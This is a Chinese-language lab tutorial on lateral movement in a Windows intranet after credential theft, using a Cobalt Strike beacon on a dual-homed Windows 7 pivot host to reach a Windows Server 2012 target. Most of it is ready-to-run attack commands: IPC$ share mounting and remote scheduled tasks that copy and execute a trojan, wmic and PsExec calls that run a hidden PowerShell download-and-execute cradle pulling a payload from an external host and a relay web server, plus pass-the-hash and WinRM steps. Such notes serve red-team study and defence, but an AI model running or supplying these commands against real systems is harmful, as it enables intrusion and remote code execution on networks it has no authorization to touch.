0x00 前言
針對於內網滲透個人理解為信息收集(內部網段的掃描、端口服務、操作系統、補丁更新、域機器及重要業務機器定位、殺毒軟件、防火牆策略、密碼的規則、內部敏感文檔等)然后根據獲取到的信息來繪畫出內部的網絡結構和內網脆弱點從而進行橫向滲透。
本篇文章記載了當拿到內網機器的密碼或Hash進行橫向移動的方式。
0x01 環境介紹
1.1 擴展圖
1.2 網絡環境
Windows 7 跳版機(192.168.200.222、10.211.66.5)雙網卡可出網也可與內網連通。 Windows server 2012 目標靶機(192.168.200.66)不可出網。
1.3 簡述
攻擊者通過滲透測試拿到主機Win 7(192.168.200.222)的權限並發現可出網,所以上線CS用來權限維持。
前提我們已經抓取到Win 7(192.168.200.222)跳板機的登陸明文憑證,這里是我添加的明文憑證,竊取憑證的方法有很多這里不在贅述參考文章,此篇文章只記錄個人在學習內網環境下橫向移動的一些筆記。
添加一個 Win 7(192.168.200.222)跳板機的監聽器用來做中轉會話。
生成木馬文件在本地。
Tips:因為Win 2012(192.168.200.66)目標機不出外網所以選擇剛添加的中轉會話。
0x02 IPC$ && 計划任務
2.1 利用條件
1)沒有禁用IPC$連接、139和445端口、未使用防火牆等方式來阻止IPC$。
2)目標機器開啟了相關的IPC$服務。
3)需要目標機器的管理員賬號和密碼(IPC$空連接除外)。
4)需要得知目標機器IP地址並可互相通信。
2.2 利用方式
在 CS 客戶端對Win 7(192.168.200.222)會話進行操作。
對 Win 2012(192.168.200.66)目標主機建立共享連接,並查看目標主機共享資源。
beacon> shell net use \\192.168.200.66 /user:administrator "Hacker@1." beacon> shell net view \\192.168.200.66
列出目標主機 C 盤下目錄文件。
beacon> shell dir \\192.168.200.66\C$
將CS木馬上傳到跳板機。
beacon> upload /root/demo.exe (C:\Users\ppbibo\AppData\Local\Temp\demo.exe)
將Win 7(192.168.200.222)跳板機的木馬文件copy到Win 2012(192.168.200.66)目標機的C共享盤下。
beacon> shell copy C:\Users\ppbibo\AppData\Local\Temp\demo.exe \\192.168.200.66\C$
遠程創建Win 2012(192.168.200.66)目標機計划任務執行木馬文件。
beacon> shell schtasks /create /s 192.168.200.66 /u administrator /p "Hacker@1." /sc MINUTE /mo 1 /tn test /tr "C:\\demo.exe"
由於 at 在windows server 2012等新版系統中已被棄用,所以需要使用 schtasks 命令代替。
如果目標機器支持 at 命令,參考如下。
net time \\192.168.200.66at \\192.168.200.66 11:05 c:\demo.exe
成功上線,該會話為被動連接,不操作的不會回連,如果中轉機會話斷掉,該會話也會斷掉。
2.3 IPC 相關的命令
開放/關閉 ipc$ 共享。
net share ipc$net share ipc$ /del
共享計算機 C 盤。
net share C=c:\
查看/刪除共享的資源。
net sharenet share C /del
取消IPC遠程連接。
net use * /del /y
0x03 WMI
WMI(Windows Management Instrumentation,Windows管理規范)是一項核心的Windows管理技術;用戶可以使用WMI管理本地和遠程計算機。
3.1 利用條件
1)啟動WMI服務(默認開啟)。
2)開放135端口。
3.2 利用方式
在 CS 客戶端對Win 7(192.168.200.222)會話進行操作。
使用CS生成一個WEB交互式Payload(Scripted Web Delivery)來實現無文件落地上線。
生成的 Payload。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://39.100.x.x:7799/a'))"
在CS 客戶端執行 wmic 遠程命令。
Tips:因為目標主機不出網所以需要把 http://39.100.x.x:7799/a 上的payload,復制下來並在跳板機開啟WEB服務,使受害機下載並執行跳板機上的Payload,上線CS。
跳板機安裝了 python 運行如下命令快速開啟WEB服務。
beacon> shell python -m SimpleHTTPServer 8080 beacon> shell wmic /node:192.168.200.66/user:administrator /password:Hacker@1. process call create "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))"
成功上線。
在 windows server 2012 驗證。
Tips:wmic命令缺點無回顯,但是可借助其他腳本(wmiexec.vbs)來實現回顯功能。
0X04 PsExec
PsExec是一種輕巧的telnet替代品,可讓您在其他系統上執行進程,並為控制台應用程序提供完整的交互性,而無需手動安裝客戶端軟件。
beacon> shell psexec.exe \\192.168.200.66 -u Administrator -p Hacker@1. whoami
beacon> shell psexec.exe \\192.168.200.66 -u Administrator -p Hacker@1. powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))
Tips:psexec 傳遞命令時不要添加雙引號否則會報 “系統找不到指定的文件” 的錯誤。
Psexec下載地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
更多參考:
https://www.itprotoday.com/compute-engines/psexec
4.1 CS Psexec_psh hash傳遞
憑證竊取中並不是每次都可以獲取到明文,會出現只有hash的情況,獲取hash同樣可以進行橫向操作。
因為換了WiFi地址所有IP發生了如下變化。
Windows 7 跳版機(172.16.100.176、10.211.66.5)雙網卡可出網也可與內網連通。 Windows server 2012 目標靶機(172.16.100.60)不可出網。
成功上線。
0X05 WINRM
WinRM 指的是Windows遠程管理服務,通過遠程連接winRM模塊可以操作windows命令行,默認監聽端口5985(HTTP)&5986 (HTTPS),在2012及以后默認開啟。
這里的目標靶機正好是 windows server 2012,運行如下命令查看是否啟用了 winrm service 。
winrm enumerate winrm/config/listener
5.1 利用方式
CS自帶了一些用於橫向移動的功能,可以在目標中選中主機進行攻擊。
成功上線。